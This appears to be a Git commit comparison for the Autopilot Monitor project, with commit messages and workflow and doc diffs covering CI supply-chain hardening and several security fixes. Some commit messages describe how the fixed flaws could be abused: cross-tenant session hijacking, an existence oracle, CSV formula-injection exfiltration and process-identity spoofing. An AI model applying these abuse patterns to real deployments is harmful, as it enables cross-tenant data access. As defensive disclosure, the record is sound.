Compare commits

...

14 Commits

Author SHA1 Message Date
Oliver Kieselbach 2b6565b3cb fix(agent): IME matcher line budget charges thread CPU cycles, regex timeouts get one starvation-gated retry - the wall-clock budget and the 1s .NET regex timeout both measured guest-scheduler starvation as match cost on CPU-saturated Hyper-V VMs (session b9f1d134: PS-AGENT-OUTPUT timed out on a line it genuinely matches in 5.8us, factor ~170,000, with 2.5s of process-wide log silence and CPU pinned at 100% during the DeviceSetup script burst; six spurious budget breaks the same pass); MatchLine now charges the per-line budget in cycles the poll thread actually executed (QueryThreadCycleTime, probed once, Stopwatch wall-tick fallback preserving the old behaviour exactly), and a RegexMatchTimeoutException whose attempt consumed < 0.5s of match cost (starvation, not spinning) is retried exactly once - counted into the new regexTimeoutRetries (recovered, NOT skipped work, no degraded event) while an attempt at/over the gate is skipped without a second helping of CPU, so regexTimeouts now means "really burned CPU"; the gate is unreachable in the wall-clock fallback by construction (no retry there); retries surfaced through health snapshot, restart-safe persistence, ime_tracker_degraded, ime_pattern_hits and agent_metrics_snapshot (ime_regex_timeout_retries); known limit: hypervisor-level vCPU steal stays invisible to the guest kernel and still charges cycles - strict improvement over wall clock, not perfect steal accounting
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 21:49:15 +02:00
Oliver Kieselbach 5f3ae2d06b fix(backend): SessionTenantLookup is claimed first-writer-wins at registration — the sessionId→tenantId row that every Global Admin/Reader cross-tenant session resolve trusts was an unconditional last-writer-wins upsert AFTER the session write keyed by the client-supplied sessionId, so any tenant's device (self-service onboarding) that knew a victim session GUID (portal deep links, Teams/Slack notifications, progress-portal URLs) could re-point the mapping at its own tenant and have every no-tenantId GA read and GA write (globaladmin annotation lane, restore fallback) silently served from a forged session; StoreSessionAsync now claims the row create-only BEFORE any Sessions/SessionsIndex write (409 → read owner: same tenant = re-registration, foreign tenant = SessionTenantConflictException → 409 session_owner_mismatch without disclosing the owner + SessionTenantConflict ops event, nothing written, not fail-soft), the legacy self-heal write is Add-only, ResolveSessionScopeAsync(requireGlobalAdmin) corroborates the resolved tenant against its Sessions row (silent, no operator confirmation), and scripts/Migration/Backfill-SessionTenantLookup.ps1 closed the pre-table window (13509 sessions, 8795 rows added, verify dry-run added=0); no tombstone on deletion by design
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 20:34:50 +02:00
Oliver Kieselbach 83e15e49de fix(core,backend): every payload-derived string stored into DecisionState is bounded (FactStringBounds, 256) and the reducer-verification replay streams signals — RealmJoinFacts.WithPackageStarted/Completed left PackageId/Version/Scope unbounded and deduped via a linear ordinal compare over up to 200 rows, so a forged 5000-signal stream with ~400 KB near-identical package ids cost minutes of CPU per GET sessions/{id}/reducer-verification while ReducerVerifier held all decoded payloads (~GBs) live; keys are now bounded BEFORE the dedupe scan (forged near-duplicates collapse to one row), Scope normalised to machine/user, and the same bound applied to failed app ids, HelloOutcome, ImeMatchedPatternId, EspAdvisoryFailureCategory and RJ product version/channel incl. WithVersionOverride — never truncating real telemetry (registry key names ≤ 255, GUIDs, enum-like strings); the agent adapter bounds packageId/version at the source; ReducerVerifier replays decode-fold-discard (head-signal check before the journal so stubbed streams stay silent, mid-stream truncation and count-imbalance semantics unchanged, pinned by tests); ISignalRepository.QueryBySessionAsync carries a cumulative PayloadJson budget (SignalQueryLimits, 32 M chars) reflected in the truncated flag of sessions/{id}/signals and reducer-verification; no ingest cap — stored signals stay verbatim
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 20:06:51 +02:00
Oliver Kieselbach 3c8ef02191 feat(agent): RealmJoin self-update is observed and reported as realmjoin_autoupdate_detected — realmjoin_detected read the version once from RealmJoin.exe, but the tray AppUpdater often replaces the MSI-shipped binary on its first start minutes after detection (gktatooine 946ccbd6: 4.21.4 -> 4.21.18, whole deployment ran on the new build while the timeline and RealmJoinFacts kept 4.21.4); the updater's only registry write is HKLM\...\Uninstall\RealmJoin (DisplayVersion/InstallDate), so RealmJoinWatcher arms a RegNotifyChangeKeyValue watcher there once Detected fired (appearance-watch on the Uninstall parent until the tray creates the entry), re-reads the binary version after a 2 s debounce (DisplayVersion fallback while the file is locked, channel from baseline) and emits the Info event {previousVersion,newVersion,releaseChannel} plus the typed RealmJoinAutoUpdateDetected signal, whose reducer overrides RealmJoinFacts.ProductVersion/ReleaseChannel (WithVersionOverride) and touches neither gate, deadline nor LastActivityUtc; unreadable baseline at detection is seeded silently; portal device card prefers the updated version ("auto-updated from X"); event registered in Constants/resource-catalog/shared-manifests with replay fixture and watcher/adapter/reducer tests
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 20:02:39 +02:00
Oliver Kieselbach 251e82a45a fix(mcp): tool-call logging never records tenant-config secret values — withToolTelemetry/summarizeArgs gain a per-argument ArgPolicy ('keys' | 'drop') declared at the call site, update_tenant_config logs only the NAMES of args.fields (webhook/SAS URLs and custom headers previously went verbatim, up to 200 chars, into the container log stream under the IaC-default MCP_TOOL_LOGGING=true, readable by log consumers below Global Admin); values remain in the GA-gated backup snapshot and audit log. Backend: TenantConfigPatchService no longer returns the Newtonsoft ex.Message on a JSON type mismatch (it quotes the offending value, so a secret sent into a numeric field echoed into the tool response and log line) — only the field path is named. Tests for keys-only/drop rendering, log-line content on success and soft-error paths, and the backend error text
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 19:58:23 +02:00
Oliver Kieselbach 01311898a8 fix(ci): no third-party action holds release/deploy credentials by mutable tag — build-agent creates releases with first-party gh release create (job holds contents/id-token/attestations:write), combine-rules pushes generated outputs with plain git (contents:write on main), deploy-web builds the static export in CI (setup-node 22, npm ci, next build — same path ci.yml tests) and uploads it with the exactly pinned SWA CLI 2.0.10 instead of Azure/static-web-apps-deploy (Oryx in-container build, deploy token as action input), attests portal-<sha>.tar.gz and drops the unusable per-PR preview environments; azure/login and Azure/functions-action are SHA-pinned with version comments for Dependabot
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 18:21:19 +02:00
Oliver Kieselbach a5bca8a730 fix(web): CSV exports neutralize spreadsheet formula triggers in device-controlled cells (CWE-1236) — generateCsvExport/generateSessionCsvExport/generateRuleResultsCsvExport only doubled quotes, so an event Message, EventType, Source, DataJson, DeviceName, SerialNumber, FailureReason or rule explanation starting with =, +, -, @, tab or CR was evaluated as a formula (HYPERLINK/WEBSERVICE exfiltration, DDE) when a tenant admin opened the exported CSV or the operator opened the problem-report attachment; shared csvCell() now prefixes such cells with an apostrophe in addition to quoting, with regression tests for the DDE/HYPERLINK payloads and all three exporters
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 17:54:40 +02:00
Oliver Kieselbach 87cb1f1cea fix(backend): mcp-usage/user/{oid} filters usage rows to the caller's tenant and never signals foreign existence — UsageCrossTenantGuard skipped rows with an empty TenantId (legacy rows without the column, tokens without a resolvable tid), so a self-service tenant admin of any tenant could read another tenant's user usage (UPN, endpoints/tool names, per-day counts) by oid; and the distinct 403 CrossTenantAccessDenied vs 200-empty made the route a cross-tenant user-existence oracle; FilterForCaller now returns only rows whose TenantId equals the caller's tid for non-global callers (empty TenantId or empty caller tid ⇒ nothing), the handler always answers 200 with the filtered set (foreign oid ≡ unknown oid), dropped rows are logged as an ops warning only; tests rewritten for the filter semantics
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 17:38:16 +02:00
Oliver Kieselbach 44dd8161df fix(agent): ImeProcessWatcher verifies process identity before attaching and re-arms discovery after an exit — it attached to the first IntuneManagementExtension name match, so a standard user starting a renamed binary during AccountSetup could forge an ime_process_exited Warning and mute the real signal for the rest of the session (CWE-807), and even a legitimate IME service restart was never watched again; ImeProcessIdentity requires session 0 + image under the IME install root (QueryFullProcessImageName, cross-bitness), prefers the oldest trusted candidate, logs untrusted matches once per PID, and OnImeExited restarts the discovery timer (ReferenceEquals guard against duplicate events)
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 17:07:18 +02:00
Oliver Kieselbach c84a1c23eb fix(backend): registration StartedAt is clamped to the event skew window (+24h / -168h around server time) in the shared register core — the device-supplied anchor drives the SessionsIndex RowKey, the retention filter, TotalToday and the supersede-predecessor comparison, so a far-future value pinned the row at the head of every list (incl. the Global Admin cross-tenant list), inflated today's counters forever and never became a retention candidate; both cert-auth and bootstrap entries flow through ProcessRegisterAsync, re-registration keeps the earlier stored anchor (min-merge)
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 17:03:05 +02:00
Oliver Kieselbach 4a7eb2749d fix(backend): bootstrap revoke enforces code ownership — DELETE /api/bootstrap/sessions/{code} only scoped the caller's ?tenantId while the repository resolved the owning tenant from CodeLookup and revoked any tenant's code; RevokeBootstrapSessionAsync now takes the caller tenant and refuses a mismatch as not-found (no owner leak, foreign partition never read), with regression tests
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 16:59:32 +02:00
Oliver Kieselbach a536553ee3 fix(web): IME Tracker card shows skip counters without the ime_tracker_degraded pointer — a tenant admin cannot act on it; a tooltip explains that pattern coverage may be incomplete and points to Report Session
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 16:38:07 +02:00
Oliver Kieselbach ce202c6d47 fix(ops): SlaBreachNotification ops event prints Duration breaches in minutes — the P95 value carried the % unit of the rate breach types ("Duration 864.0% (target 60.0%)"); the unit now follows SlaBreachType like the customer-facing alert builder
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 16:19:59 +02:00
Oliver Kieselbach 74902bf185 fix(agent): IME per-line matching budget counts Regex.Match time only — the wall-clock window also held the match handlers and scheduler stalls, and session 946ccbd6 (Hyper-V guest, 5–10 s process-wide stalls, 1 MB log, no line over 5 KB) broke it twice on genuine lines and silently skipped their remaining patterns; ime_pattern_hits is Debug severity (operator/backend signal, hidden from the default timeline — the IME Tracker card and the ingest fold read it regardless); the session page's IME Tracker card moves to the right column under Hardware
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-30 16:00:28 +02:00
77 changed files with 3278 additions and 435 deletions
+30 -11
View File
@@ -324,13 +324,19 @@ jobs:
name: version-metadata
path: ${{ env.MANIFEST_NAME }}
# First-party `gh` instead of a third-party action: this job holds contents:write,
# id-token:write and attestations:write, so no code we do not control runs here.
# --generate-notes appends the auto-generated notes below the body.
- name: Create GitHub Release
if: inputs.create_release
uses: softprops/action-gh-release@v3
with:
tag_name: ${{ steps.version.outputs.tag }}
name: Autopilot Monitor Agent ${{ steps.version.outputs.version }}
body: |
shell: pwsh
env:
GH_TOKEN: ${{ github.token }}
RELEASE_TAG: ${{ steps.version.outputs.tag }}
RELEASE_NAME: Autopilot Monitor Agent ${{ steps.version.outputs.version }}
RELEASE_PRERELEASE: ${{ inputs.prerelease }}
RELEASE_ZIP: ${{ steps.artifact.outputs.versioned_zip_release }}
RELEASE_BODY: |
## Autopilot Monitor Agent ${{ steps.version.outputs.version }}
### Installation
@@ -355,9 +361,22 @@ jobs:
```
gh attestation verify AutopilotMonitor-Agent-v${{ steps.version.outputs.version }}.zip --repo okieselbach/AutopilotMonitor
```
draft: false
prerelease: ${{ inputs.prerelease }}
files: |
${{ steps.artifact.outputs.versioned_zip_release }}
${{ env.MANIFEST_NAME }}
generate_release_notes: true
run: |
$ErrorActionPreference = 'Stop'
$notesFile = Join-Path $env:RUNNER_TEMP 'release-notes.md'
Set-Content -Path $notesFile -Value $env:RELEASE_BODY -Encoding utf8 -NoNewline
$ghArgs = @(
'release', 'create', $env:RELEASE_TAG,
$env:RELEASE_ZIP, $env:MANIFEST_NAME,
'--repo', $env:GITHUB_REPOSITORY,
'--target', $env:GITHUB_SHA,
'--title', $env:RELEASE_NAME,
'--notes-file', $notesFile,
'--generate-notes'
)
if ($env:RELEASE_PRERELEASE -eq 'true') { $ghArgs += '--prerelease' }
& gh @ghArgs
if ($LASTEXITCODE -ne 0) { throw "gh release create failed with exit code $LASTEXITCODE" }
Write-Host "Release $env:RELEASE_TAG created"
+18 -6
View File
@@ -63,11 +63,23 @@ jobs:
- name: Combine rules into dist/
run: node rules/scripts/combine.js
# Plain git instead of a third-party action: this step runs with contents:write on
# main, so no code we do not control gets to push. Checkout leaves the job's
# GITHUB_TOKEN in the remote credential helper, which is all `git push` needs.
# NOTE: combine.js writes THREE outputs; committing only dist/ would silently discard
# the two generated TS modules and leave the guardrails-in-sync CI check red.
- name: Commit generated outputs
if: github.ref == 'refs/heads/main' && github.event_name == 'push'
uses: stefanzweifel/git-auto-commit-action@v7
with:
commit_message: "chore: regenerate rules/dist + generated TS from individual files"
# combine.js writes THREE outputs; committing only dist/ would silently discard
# the two generated TS modules and leave the guardrails-in-sync CI check red.
file_pattern: "rules/dist/* src/Web/autopilot-monitor-web/utils/guardrails.generated.ts src/McpServer/autopilot-monitor-mcp/src/rule-authoring.generated.ts"
run: |
set -euo pipefail
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git add -- rules/dist/ \
src/Web/autopilot-monitor-web/utils/guardrails.generated.ts \
src/McpServer/autopilot-monitor-mcp/src/rule-authoring.generated.ts
if git diff --cached --quiet; then
echo "Generated outputs unchanged - nothing to commit"
exit 0
fi
git commit -m "chore: regenerate rules/dist + generated TS from individual files"
git push origin HEAD:main
+2 -2
View File
@@ -22,7 +22,7 @@ jobs:
- uses: actions/checkout@v7
- name: Login to Azure (OIDC)
uses: azure/login@v3
uses: azure/login@7ddb5af1ef8758cf1353cf3b42f940aee27ba21c # v3
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
@@ -65,7 +65,7 @@ jobs:
run: dotnet publish ${{ env.CSPROJ_PATH }} --configuration Release --output ./publish --no-build -p:SourceRevisionId=${{ github.sha }} -p:BuildNumber=${{ steps.version.outputs.build_number }} -p:BuildTimestampUtc=${{ steps.version.outputs.build_utc }}
- name: Deploy to Azure Functions
uses: Azure/functions-action@v1
uses: Azure/functions-action@c5060b3b8bb1ebbcb531abd00c822ecbaa8ea656 # v1
with:
app-name: ${{ env.FUNCTION_APP }}
package: ./publish
+1 -1
View File
@@ -46,7 +46,7 @@ jobs:
run: echo "sha=$(git -C mcp-docs rev-parse HEAD)" >> "$GITHUB_OUTPUT"
- name: Login to Azure (OIDC)
uses: azure/login@v3
uses: azure/login@7ddb5af1ef8758cf1353cf3b42f940aee27ba21c # v3
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
+75 -60
View File
@@ -1,5 +1,13 @@
name: Deploy Web (Static Web App)
# Build here, upload with the pinned SWA CLI. No third-party action sees the deploy token
# (the CLI is Microsoft-published npm code at an exact version), the build runs on the same
# path ci.yml tests (setup-node 22 + npm ci + next build) instead of Oryx guessing inside the
# action's container, and the exported site is attested like the agent ZIP and the MSI.
#
# PR preview environments were dropped with the action: their per-PR URLs are never
# registered as redirect URIs, so nobody could log in on them anyway.
on:
push:
branches:
@@ -8,39 +16,44 @@ on:
- 'src/Web/autopilot-monitor-web/**'
- '.github/workflows/deploy-web.yml'
workflow_dispatch:
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
paths:
- 'src/Web/autopilot-monitor-web/**'
- '.github/workflows/deploy-web.yml'
permissions:
contents: read
id-token: write # keyless Sigstore signing (artifact attestation)
attestations: write # store the provenance attestation
env:
PORTAL_VERSION_URL: https://portal.autopilotmonitor.com/version.json
VERSIONS_CONTAINER: https://autopilotmonitoreu.blob.core.windows.net/versions
WEB_DIR: src/Web/autopilot-monitor-web
# Exact version: `npx --package` resolves from the registry at run time, so the pin is the
# only thing that keeps the deploy step's code fixed. Bump deliberately.
SWA_CLI_VERSION: 2.0.10
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || github.event_name == 'workflow_dispatch' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
# Dependabot PRs run without repo secrets, so the deploy token is absent.
# Surface it as an env var so the deploy step can gate on it — secrets
# cannot be referenced directly in an `if:` expression.
env:
DEPLOY_TOKEN: ${{ secrets.AZURE_SWA_DEPLOY_TOKEN }}
steps:
- uses: actions/checkout@v7
with:
lfs: false
fetch-depth: 0 # Full history needed for git-based sitemap lastmod dates
- name: Build And Deploy
id: builddeploy
# Skip (green) instead of failing when the token is missing (Dependabot
# PRs); real deploys on main and internal PRs still have it.
if: env.DEPLOY_TOKEN != ''
uses: Azure/static-web-apps-deploy@v1
- uses: actions/setup-node@v7
with:
node-version: '22'
cache: npm
cache-dependency-path: ${{ env.WEB_DIR }}/package-lock.json
- name: Install dependencies
working-directory: ${{ env.WEB_DIR }}
run: npm ci
# next.config output:'export' -- `next build` writes the static site to out/
# (prebuild: sync-error-codes, generate-lastmod, generate-version).
- name: Build
working-directory: ${{ env.WEB_DIR }}
env:
NEXT_PUBLIC_ENTRA_CLIENT_ID: ${{ vars.NEXT_PUBLIC_ENTRA_CLIENT_ID }}
# Dual app-reg window: previous app registration (unset = single-app behaviour)
@@ -55,28 +68,50 @@ jobs:
# Build stamp for public/version.json (scripts/generate-version.js in prebuild);
# the verify step below polls the deployed file for exactly this commit.
GITHUB_SHA: ${{ github.sha }}
with:
azure_static_web_apps_api_token: ${{ secrets.AZURE_SWA_DEPLOY_TOKEN }}
repo_token: ${{ secrets.GITHUB_TOKEN }} # Used for Github integrations (i.e. PR comments)
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "src/Web/autopilot-monitor-web" # App source code path
api_location: "" # Api source code path - optional
# Static export (next.config output:'export'): Oryx runs `npm run build`
# and uploads the exported out/ directory as plain static files — no
# managed SSR runtime is provisioned anymore. (No is_static_export
# input on this action version; Oryx detects the export from
# next.config + output_location.)
output_location: "out" # Built app content directory - optional
###### End of Repository/Build Configurations ######
run: |
npm run build
test -f out/version.json || { echo "out/version.json missing - export did not run"; exit 1; }
# The SWA action reporting success proves the upload, not that the production host
# serves the new build — verify against the live /version.json (Cache-Control:
# no-store via staticwebapp.config.json) before publishing the version manifest.
# PR builds deploy to per-PR preview environments, so only main deploys are verified.
# One archive of the exact bytes that get uploaded, so the attestation has a single subject.
- name: Package export
id: package
run: |
archive="portal-${GITHUB_SHA::7}.tar.gz"
tar -C "$WEB_DIR/out" -czf "$archive" .
echo "archive=$archive" >> "$GITHUB_OUTPUT"
sha256sum "$archive"
# Sigstore keyless provenance: binds the export digest to this workflow run (repo, ref,
# commit, workflow file) in a public transparency log.
# Verify: gh attestation verify portal-<sha>.tar.gz --repo okieselbach/AutopilotMonitor
- name: Attest build provenance (portal export)
uses: actions/attest-build-provenance@v4
with:
subject-path: ${{ steps.package.outputs.archive }}
- name: Upload build artifact
uses: actions/upload-artifact@v7
with:
name: portal-${{ github.sha }}
path: ${{ steps.package.outputs.archive }}
# Upload only -- out/ is already built. --swa-config-location points at the app root,
# where staticwebapp.config.json lives (next export does not copy it into out/).
- name: Deploy to Static Web App
env:
SWA_CLI_DEPLOYMENT_TOKEN: ${{ secrets.AZURE_SWA_DEPLOY_TOKEN }}
run: |
npx --yes --package "@azure/static-web-apps-cli@${SWA_CLI_VERSION}" swa deploy \
--app-location "$WEB_DIR" \
--output-location out \
--swa-config-location "$WEB_DIR" \
--env production \
--no-use-keychain
# The CLI reporting success proves the upload, not that the production host serves the
# new build -- verify against the live /version.json (Cache-Control: no-store via
# staticwebapp.config.json) before publishing the version manifest.
- name: Verify deployed portal build is live
if: env.DEPLOY_TOKEN != '' && (github.event_name == 'push' || github.event_name == 'workflow_dispatch')
shell: pwsh
run: |
$expectedCommit = '${{ github.sha }}'.Substring(0, 7)
@@ -100,10 +135,9 @@ jobs:
throw "Portal did not serve commit $expectedCommit within 5 minutes -- deployment not verified, version manifest NOT published"
# Cross-component deploy record, written last and only on a verified deploy —
# Cross-component deploy record, written last and only on a verified deploy --
# same contract as versions/backend.json and versions/mcp.json.
- name: Publish version manifest
if: env.DEPLOY_TOKEN != '' && (github.event_name == 'push' || github.event_name == 'workflow_dispatch')
shell: pwsh
run: |
$manifest = [ordered]@{
@@ -119,22 +153,3 @@ jobs:
Invoke-RestMethod -Uri $url -Method Put -Headers @{ 'x-ms-blob-type' = 'BlockBlob'; 'x-ms-blob-cache-control' = 'no-cache' } -Body $manifest -ContentType 'application/json' | Out-Null
Write-Host "Published versions/web.json"
Write-Host $manifest
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
env:
DEPLOY_TOKEN: ${{ secrets.AZURE_SWA_DEPLOY_TOKEN }}
steps:
- name: Close Pull Request
id: closepullrequest
if: env.DEPLOY_TOKEN != ''
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: ${{ secrets.AZURE_SWA_DEPLOY_TOKEN }}
action: "close"
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
name: Federated login + read check
steps:
- name: Login to Azure (OIDC)
uses: azure/login@v3
uses: azure/login@7ddb5af1ef8758cf1353cf3b42f940aee27ba21c # v3
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
+24 -1
View File
@@ -8,7 +8,7 @@ tags:
- decision-engine
- reducer
- completion
timestamp: 2026-07-11T00:00:00+02:00
timestamp: 2026-08-30T00:00:00+02:00
---
# V2 Agent — Decision Engine (DecisionCore)
@@ -175,6 +175,20 @@ advisory backstop. All routes converge on `CompleteThroughFinalizingOrDefer`:
scheduler contract) dead-ends as `realmjoin_timeout_stale_superseded_by_rearm`.
The idle case (detected, no deployment activity ever) times out at 60 min
unchanged, and phase 200/210 activity never extends.
**Self-update observation** (gktatooine session 946ccbd6): the version on
`RealmJoinDetected` is read once from `RealmJoin.exe`, but the tray's `AppUpdater`
often replaces the MSI-shipped binary on its first start — minutes after detection,
before the deployment begins. `RealmJoinWatcher` therefore arms a
`RegNotifyChangeKeyValue` watcher on `HKLM\...\Uninstall\RealmJoin` (the only
registry write of the updater; appearance-watch on the `Uninstall` parent when the
entry does not exist yet) once Detected fired, re-reads the binary version after a
2 s debounce (registry `DisplayVersion` as fallback while the file is locked) and
posts the typed `RealmJoinAutoUpdateDetected` signal plus the
`realmjoin_autoupdate_detected` timeline event when the version differs from the
baseline. The reducer overrides `RealmJoinFacts.ProductVersion` / `ReleaseChannel`
(`WithVersionOverride` — the one legitimate later write past the set-once helpers);
it never touches the gate, the deadline, or `LastActivityUtc`. An unreadable
baseline at detection is seeded silently by the first successful re-read.
A closed gate also outranks the 30-minute `AdvisoryCompletion` backstop: that
handler re-arms (trigger suffix `:CompletionGateHolding`) instead of failing while
the RealmJoin gate is closed *and* its own deadline is still armed, because the gate
@@ -208,6 +222,15 @@ IME false-positive AccountSetup entries.
- **No silent parking**: a non-terminal post-AccountSetup session must always hold a
resolution-capable deadline; a 10-min dwell tripwire emits
`session_parked_without_deadline`.
- **Every payload-derived string stored into state is bounded** (`FactStringBounds`,
256 chars): RealmJoin package id/version/scope (scope normalised to `machine`/`user`),
failed app ids, `HelloOutcome`, `ImeMatchedPatternId`, `EspAdvisoryFailureCategory`,
RealmJoin product version/channel. The bound is applied *before* any dedupe comparison
so a forged multi-hundred-KB key neither costs a full-length compare per stored row nor
lands in snapshots/audit trails. It never truncates real telemetry — the sources are
registry key names (Windows caps them at 255), GUIDs and enum-like strings. The same
engine replays device-uploaded signals server-side (`ReducerVerifier`), which is why
the bound lives in the reducer, not in the agent adapter alone.
# Hosting & threading (inside the agent)
@@ -73,10 +73,15 @@ completion) queue behind that work — a monitoring blackout during the enrollme
capped prefix opens a CMTrace entry without closing it, the existing `skippingDroppedEntry`
mechanism skips the entry's continuation lines instead of raw-matching them; a line that
opens a *new* entry always ends the skip and is processed itself.
* **Per-line matching budget.** `MatchLine` runs all active patterns under a 2 s Stopwatch
budget; a pattern that times out is skipped and counted, and once the budget is spent the
remaining patterns are skipped for that line (matches already handled stand). No genuine line
comes near it — the budget exists for unanchored custom patterns and hostile input.
* **Per-line matching budget.** `MatchLine` runs all active patterns under a 2 s budget that
sums only the time spent inside `Regex.Match` on that line; a pattern that times out is
skipped and counted, and once the budget is spent the remaining patterns are skipped for that
line (matches already handled stand). No genuine line comes near it — the budget exists for
unanchored custom patterns and hostile input. It is deliberately not the wall-clock across
the pattern loop: that window also holds the match handlers (signal ingress, match-log
append) and scheduler stalls, and session 946ccbd6 (2026-08-30, Hyper-V guest with 5–10 s
process-wide stalls, 1 MB log, no line over 5 KB) broke the wall-clock budget twice on
genuine lines and skipped their remaining patterns.
* **Held-back tails.** An unterminated tail at EOF (a physical line without `\n`, or a
multiline entry without `]LOG]!>`) is normally the writer mid-write. Instead of dropping it
(and raw-matching its remainder next pass) the bookmark stays at the entry start. The hold
+69
View File
@@ -0,0 +1,69 @@
---
type: concept
title: IME Process Watcher — Identity Before Attach, Re-Arm After Exit
description: Why ImeProcessWatcher attaches only to a process that runs in session 0 with its image under the IME install root — a process name is not an identity — and why a reported exit re-arms discovery instead of ending it.
resource: src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Enrollment/Ime/ImeProcessWatcher.cs
tags: [agent, ime, process, security, cwe-807, reliability]
timestamp: 2026-08-30
---
# Problem
`ImeProcessWatcher` reports `ime_process_exited` (Warning — read as an IME crash indicator in the
timeline) by subscribing to `Process.Exited` of `IntuneManagementExtension.exe`. Until 2026-08-30 it
attached to `Process.GetProcessesByName(...)[0]` and stopped discovery for good once attached.
A process name is not a protected namespace. During AccountSetup (and on Device Preparation flows)
a standard-user session is live and can start any binary renamed to `IntuneManagementExtension.exe`.
Two consequences (CWE-807 — the same class as the agent instance guard and the local-admin dynamic
allowance):
* **Forged signal** — the fake exits, the SYSTEM agent emits a Warning with the fake's PID/exit
code, and failure diagnosis is misdirected.
* **Muted signal** — attached to the fake, discovery is stopped; the real service is never watched,
and a genuine IME crash later in the enrollment is never reported. Even without an attacker the
one-shot design missed every IME exit after the first (an IME service restart is not rare).
# Schema
`ImeProcessIdentity` establishes identity by facts a standard user cannot forge:
| Check | Source | Why it holds |
|---|---|---|
| `SessionId == 0` | `Process.SessionId` | Only services and their children run in session 0; a user session cannot start a process there. |
| image under `%ProgramFiles(x86)%\Microsoft Intune Management Extension\` (also `%ProgramW6432%`/`%ProgramFiles%` variants) | `QueryFullProcessImageName` (cross-bitness — IME is 32-bit, the agent may be 64-bit; `MainModule` throws there), `MainModule.FileName` fallback | Program Files is admin-writable only. Segment-aware prefix (`...Extension\`), `GetFullPath`-normalised, so a sibling folder or `..` does not pass. |
| file name exactly `IntuneManagementExtension.exe` | image path | `GetProcessesByName` matches the name without extension. |
Unknown facts (session `-1`, unresolved path) are **untrusted** — a false negative only delays
attach by one 5 s discovery tick, a false positive mutes the signal for the session.
Among trusted candidates the **oldest** by `StartTime` wins (the SCM-started service predates
anything transient). Untrusted name matches are logged once per PID as a Warning in the agent log
(`ignoring untrusted IntuneManagementExtension.exe candidate (PID, session, image)`) and never
attached; no timeline event is raised for them.
**Re-arm:** `OnImeExited` detaches, emits the event, and restarts the discovery timer. Only the
currently attached `Process` object is honoured (`ReferenceEquals`), so a late `Exited` from a
replaced or disposed handle cannot produce a duplicate event. A process that exits between probe
and subscription is handled by an explicit `HasExited` check after subscribing.
The watcher owns the `Process` handles its source returns (like `GetProcessesByName`) and disposes
them — tests must hand it fresh handles (`Process.GetProcessById`), not the ones they hold.
# Examples
* Fake started in session 1 from `Downloads\IntuneManagementExtension.exe` before the service is up →
never attached; its exit emits nothing; the service arriving later is attached normally.
* Service exits (crash or restart) → `ime_process_exited` (PID, exit code, uptime), discovery
re-armed, the restarted service is attached on the next tick and its later exit is reported too.
* Fake and service both running, fake listed first → the service is attached.
Covered by `ImeProcessWatcherIdentityTests` (pure identity table + stand-in `cmd.exe` processes
with injected identity facts).
# Citations
* `src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Enrollment/Ime/ImeProcessIdentity.cs`
* `src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Enrollment/Ime/ImeProcessWatcher.cs`
* `src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/Monitoring/Ime/ImeProcessWatcherIdentityTests.cs`
* Related: [Local Admin Analyzer](local-admin-analyzer.md) (CWE-807 dynamic allowance).
+3 -1
View File
@@ -41,7 +41,9 @@ idle/stall clocks (`SignalActivityClassifier`).
the whole session via the persisted histogram) the handler emits `ime_pattern_hits`:
`hits` = every ENABLED pattern ID → match count, zeros included, plus the health counters and
`imeVersion` (IME's own "Agent version is:" line). Only sessions with a terminal run report —
crashes/kills are outside the denominator by construction.
crashes/kills are outside the denominator by construction. Severity is Debug: the event is an
operator/backend signal, hidden from the default session timeline; the session page's
"IME Tracker" card and the ingest fold read it regardless of severity.
* **Ingest.** `EventIngestProcessor` hands the event to `ImePatternHealthService` fire-and-forget:
IDs are filtered against `BuiltInImeLogPatterns.BuiltInPatternIds` (a device may only claim an
ID; tenant custom IDs never reach the global table), the version must pass
@@ -39,7 +39,9 @@ Every table in `Constants.TableNames` must belong to at least one deletion lifec
- Unknown session → `TargetTenantId`, leaving each endpoint's own not-found semantics (404 / empty 200 / 400) in charge.
- Delegated (MSP) callers deliberately get NO fallback — extending it to `AllowedTenantIds` is a pending user decision.
The lookup row is written at session registration (fail-soft), deleted by the cascade one step before the tombstone, and rebuildable from Sessions (not in the critical-backup set). The former lazy triggers (`events.Count == 0` → scan) are gone: empty-but-owned results no longer pay a table scan, and endpoints resolve upfront.
